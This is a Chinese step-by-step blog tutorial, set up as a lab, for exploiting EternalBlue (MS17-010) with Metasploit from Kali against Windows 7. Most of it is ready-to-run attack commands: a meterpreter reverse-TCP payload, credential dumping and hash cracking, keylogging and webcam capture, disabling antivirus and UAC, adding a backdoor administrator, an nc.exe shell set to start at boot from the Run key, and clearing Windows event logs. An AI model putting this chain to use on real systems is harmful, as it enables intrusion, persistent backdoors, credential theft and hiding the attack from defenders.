永恒之蓝漏洞复现(ms17-010)----保姆级教程

发布于:2023-01-01 ⋅ 阅读:(775) ⋅ 点赞:(0)

攻击机: kali Linux             靶机: win7 x64   

提示:  复现攻击前请关闭杀毒软件

 

1.复现第一步按以下操作打开 445端口: 在 "运行" 里输入: regedit 打开注册表编辑器                                                                          2. 依次打开目录: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\NetBT\Parameters

3. 在 Parameters 里有一个类型为 REG_DWORD 名字为 SmbDeviceEnabled 的的项                 

4. 右键点击修改,将它的16进制制改为1                       506381f4cf8a41fc9399d78c0658b1d8.png                                                                      

 

 c6a8dad1f1db499c844df7f357e3f6be.png

 

 

 

2. 在靶机打开 ”控制面版----系统和安全----Windows Update(在它下面点击--查看已安装的更新),打开后有很多补丁程序,找到用来防止永恒之蓝的补丁并卸载它。我这里是 ( KB4012212 和 KB4499175) 。我已经卸载。                                                                                                              907337253a0343d28b4e93ad6143de2b.png                                                                         

 

 

3.  打开 “控制面版----系统和安全----Windows 防火墙----高级设置,在 "入站规则" 和 "出站规则" 分别启用以下规则。                                                                                                                                f8542a39f1f74935b62b270200a93085.png

da3aae9db5864a8ea365a48011e63cb3.png 

 

 

 

4. 打开 ”网络和共享中心----更改高级共享设置,开启以下设置。                                                         54e15bb05ef64f109e16ac679d7bb8d9.png

113026ee778e4973976ced03dc26558a.png

 

 

 

5. 在 kali 输入: nmap -T4 -A -v 192.168.189.181  #靶机ip地址---进行ip端口扫描,图2显示靶机445端口被打开,存在永恒之蓝漏洞。                              259e5a2bdce641099c193ec037e5b5a9.png                                    

02fa2deff08446d386a18b02574152d5.png

 

 

 

6. 打开 msfconsole 框架                                                                                                                     50f98f0e004f45b5a26286a53d68f962.png

 

 

 

7. 输入 search ms17-010  查看永恒之蓝漏洞利用模块                                                                       58d237c773464960b91ca81e8b7e8ce6.png

 

 

 

8.  输入 use auxiliary/scanner/smb/smb_ms17_010   该模块用于扫描,嗅探,指纹识别等相关功能。                                                                                                                                                    4063560e40984ef89bedcced829a7e64.png

 

 

 

9. 输入  show options   查看模块需要的配置参数                                                                                   25c94346d3154e9d8dd0289075625b71.png

 

 

 

10. 输入  set rhosts 192.168.189.181   设置攻击目标和目标和445端口号                                                                          8fa5ad669e684fe79856797f185bf785.png                                            

 

 

11. 再次输入  show options    查看配置参数                                                                                                98f359fa33e6427db6cfa6c9a1ea03ff.png

 

 

 

12. 输入  run  执行扫描 ,显示主机容易被攻击                                                                                  6412683de0ac468b84e409ab117032d8.png                                                                                                                        

 

 

13. 输入  use exploit/windows/smb/ms17_010_eternalblue   启动ms17-010 攻击模块                        fd08d7b9bbd341b1977bace00257f675.png

 

 

 

14. 输入 info  查看这个漏洞信息                                                                                                                 8612dcbfe32448d990ee2b026624d215.png

 

 

 

15. 输入  show targets    显示该攻击模块针对哪些操作系统、版本有用(可攻击的平台)。                                            a40a59f151794e4f9c7606130d7962e2.png

 

 

 

16.  输入  show payloads    查看攻击载荷                                                                                               3975607b9bbc44639ece1760a30c8e7a.png

 

 

 

17. 输入  payload/windows/x64/meterpreter/reverse_tcp   设置攻击载荷                                          38c3804de9b74bdca5a760648c4b1e3d.png

 

 

 

19.  输入 set rhosts 192.168.189.181、set rport 445  设置攻击目标ip和端口号                                                                              6c97ef9bc0cb4aaaabba70bec55957cd.png

 

 

 

20. 输入 set lhost 192.168.189.188、set lport 4444  设置监听主机ip和端口号(kali)                                 

 6973941297b34fa2bd686421703bea8d.png

 

 

 

21. 输入 show options  查看配置好的攻击机和靶机参数                                                           

3582bbcd45554ff09c7b5035e84b7427.png

 

 

 

22. 输入  run   执行攻击,攻击成功显示下图。成功后可以进行文件上传、获取截屏、获取密码、打开摄像头拍照、远程桌面链接、后门持久化等操作。                                                                                       1ce8698a114844278b01d98083126d40.png

 

 

 

 

23.  渗透成功后后续阶段: 运行run 成功后,开启了一个reverse TCP 监听器来监听本地的4444端口( 攻击者的本地主机地址 lhost 和端口号 lport)。                        

@在meterpreter> 中可以使用以下命令来实现对目标的操作:   

(1).  sysinfo      查看目标主机系统信息                (2).  run  scraper    查看目标主机详细信息              (3).  hashdump       导出密码的哈希                      (4).  load  kiwi         加载                                      (5).  ps                    查看目标主机进程信息          (6).  pwd          查看目标主机当前目录(windows)    (7).  getlwd        查看目标主机当前目录(linux)         (8).  search  -f  *.jsp  -d  e:\        搜所E盘中以.jsp为后缀的文件                                                         (9).  download  e:\test.txt    /root   将目标的e:\test.txt 文件下载到/root 目录下                          (10). upload /root/test.txt d:\test      将/root/test.txt 上传到目标机器的 d:\test 目录下                     

(11).  PIDmigrate  1384      将当前Meterpreter Shell的进程迁移到PID为1384的进程上                 (12).  idletime      查看主机运行时间                    (13).  getuid         查看获取到的当前权限         (14).  getsystem      提权                                        (15).  run  killav       关闭杀毒软件                         (16).  screenshot      截图                                       (17).  webcam_list     查看目标主机的摄像头          (18).  webcam_snap      拍照                                 (19).  webcam_stream      开视频                    (20).  execute  参数  -f  可执行文件   执行可执行程序                                                                    (21).  run  getgui  -u  hack  -p  123                    创建hack用户,密码为123                                      (22).  run  getgui  -e    开启远程桌面链接       (23).  keyscan_start      开启键盘记录功能      (24).  keyscan_dump   显示捕捉到的键盘记录信息(25).  keyscan_stop     停止键盘记录功能          (26).  uictl  disable  keyboard    禁止目标使用键盘(27).  uictl  enable  keyboard     允许目标使用键盘 (28).  uictl  disable  mouse        禁止目标使用鼠标 (29).  uictl  enable   mouse        允许目标使用鼠标 (30).  load                                   使用扩展库        (31).  run                                      执行攻击           (32).  clearev                                清除日志            

 

 

 

24.   示例: 输入 sysinfo  查看目标主机系统                                                                                       

      4f2a0f117a3f4184b8b33c02ac1edf56.png

 

 

 

25. 示例:输入 ipconfig  查看主机ip                         53a532de588547b98ca73b5987636996.png                                                                         

 

 

 

26.  示例: 输入 getuid  查看用户身份(windows 系统权限)                                                                                                 5e01253765ad49409f83bcaf95f9e5c5.png

 

 

 

27.   示例: 输入 shell  获得shell控制台                    8e88dcd0da4a439ca943957a208c8edf.png                                                                        

 

 

 

28.  想要从目标主机shell 退出到 meterpreter,输入 exit  退出shell。      47ce3eca36434681b7b5425c5fd1fb77.png                                           

 

 

 

29. 示例: 输入 screenshot  获取靶机截屏                                                                                          e84c0fa55237484dbe0c68f5cb529aaf.png   

36d8d43ef7e6480eb3090b9f2a43c7c8.png

 

93738e18e8294abf9d7a38129f82170b.jpeg

 

 

 

30. 以下模块主要用于在获得目标主机系统远程控制权后,进行一系列后渗透攻击

(1).  run post/windows/manage/migrate      自动进程迁移                                                                (2).  run post/windows/gather/checkvm       查看靶机是否运行在虚拟机上                                        (3).  run post/windows/manage/killav          关闭杀毒软件                                                                 (4).  run post/windows/manage/enable_rdp        开启远程桌面服务                                                   (5).  run post/windows/manage/autoroute           查看路由信息                                                          (6). run post/windows/gather/enum_logged_on_users     列举当前登录的用户                                         (7).  run post/windows/gather/enum_applications       列举应用程序                                                       (8).  run windows/gather/credentials/windows_autologin抓取自动登录的用户名和密码                           (9).  run windows/gather/smart_hashdump        dump出所由用户的hash

 

 

 

31. 示例: 输入  hashdump 或 run windows/gather/smart_hashdump    获取用户密码                     01527ff1486f4e73ac84c2c95286c2a8.png                  

 

 

32.  将得到的哈希码放到MD5在线破解上解密得到明文密码                                                                  b88a33ee461240debd0391a3490f3e48.png

 

 

 

33.  输入  shell  进入shell控制台                   329cd36198164a729d6dd0bb5bf62a55.png                                                                                          

 

 

34.  输入   net user hackk 123456 add    在靶机上创建一个名为hackk的用户,密码为123456           46c138a328334ac3a610fd9427d9dec5.png

 

 

 

35. 输入  net  localgroup  administrators  hackk  /add    将hackk添加到Windows 7的本地管理员组中,以便获得更大的权限。                             

 f93bf5607be54d28aa2487f2982b440b.png

 

 

 

36. 输入  net  user    查看本地用户                                                                                                      cfc4dec2069d411a901b7798f14fd29e.png

 

 

 

37. 输入  net  localgroup  administrators    查看本地管理员 ,可以看到hackk已被添加进管理员组中                                                                 4c0a98ca58634f4db3a8ae5a99a83a6c.png

 

 

 

38. 输入  run getgui -e  或  run post/windows/manage/enable_rdp    开启靶机远程桌面链接            

430feff762a54b389dfcba9658d16a61.png

 

 

 

39.  在kali 输入  rdesktop  192.168.189.188   靶机ip地址,就可打开远程桌面        d4f24a4bdb9348a1b8c6b1ec9ee2a363.png                     

 b13b657620c74bf9ba71fe81e8775952.jpeg

 

 

 

40.  输入  hashdump  查看用户密码                     ee518a81b8dd4b3da12e454b8bade175.png

 

 

 

41. 输入  netsh firewall add portopening TCP 4444 "hackk"  ENABLE ALL    创建防火墙规则         a749ad4888b44e019dbf4cf2fb2a8f58.png

 

 

 

42. 输入  netsh firewall add portopening TCP 443  "hackk"  ENABLE ALL    新建一条防火墙规则,允许443端口访问网络                                                                   

035dcb5c619f4f2e8ffe8890371a07b7.png

 

 

 

43. 输入    cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f                                          关闭UAC,以达到阻止未经用户授权的程序启动破坏系统                                                                  

3569f2c07d77483eb15d639060e2e250.png

 

 

 

44. 输入   cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f                                                                  开启默认共享,方便攻击者执行远程命令  

609eb65e253545efabf62f8f4c2402ec.png

 

 

 

45. 在kali 输入  ls /usr/share/windows-binaries/nc.exe     查看nc反弹后门程序在kali里的路径                                     

5454223b39a948ec92d834e03916f809.png

 

 

 

46. 输入  upload /usr/share/windows-binaries/nc.exe  C:\\Windows                              上传nc到靶机C盘windows文件夹中,打开靶机可以看到从kali上传到win7的nc程序072d30baa7904ddeb0ed737014b51941.png     

9497046d37774a75beef4cc153c1f68f.png                                                                                                                                             

 

 

 

47. 输入  reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\Windows\nc.exe -Ldp 443 -e cmd.exe'                                           当靶机开机后,允许443端口访问网络。(用于连接nc的端口)                                                                                                                            

32bf9246694d475c8344c58af91f7f1f.png

 

 

 

48. 输入  run  post/windows/manage/enable_rdp                    开启目标远程桌面链接 ,然后在kali输入 

rdesktop 192.168.189.188                                    (靶机ip) 链接远程桌面,并重启靶机                                           

ef29ab898a2745c3ad24fbfe8c06baa4.png

 

 

 

49. 在kali 输入  nc -v 192.168.189.188 443       就可以通过nc连接靶机进入控制台

   2be9b3ce559042308b566cd61afb7987.png

 

 

 

50.  向反弹到kali的靶机控制台输入   wevtutil cl security     清除登录日志                                                  

ff356b83dace4149bccfc0f6123174c0.png

 

 

 

52.  向反弹到kali的靶机控制台输入   wevtutil cl system     清除系统日志               2a36c15f94244b3381ce8050150770e0.png

 

 

 

53.  向反弹到kali的靶机控制台输入  wevtutil cl application  清除应用程序日志  

d5d89b5208b641d7967c943202f31e14.png

 

 

 

55. 靶机日制被清空,渗透完成                                                                                                          

123fee86185a4a85a443262109e401ec.png

 

 6bfbebea722b41ad985233fe270ad272.png

8f3d46af6c3441c780c0cbd0799e1e4b.png 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

本文含有隐藏内容,请 开通VIP 后查看

网站公告

今日签到

点亮在社区的每一天
去签到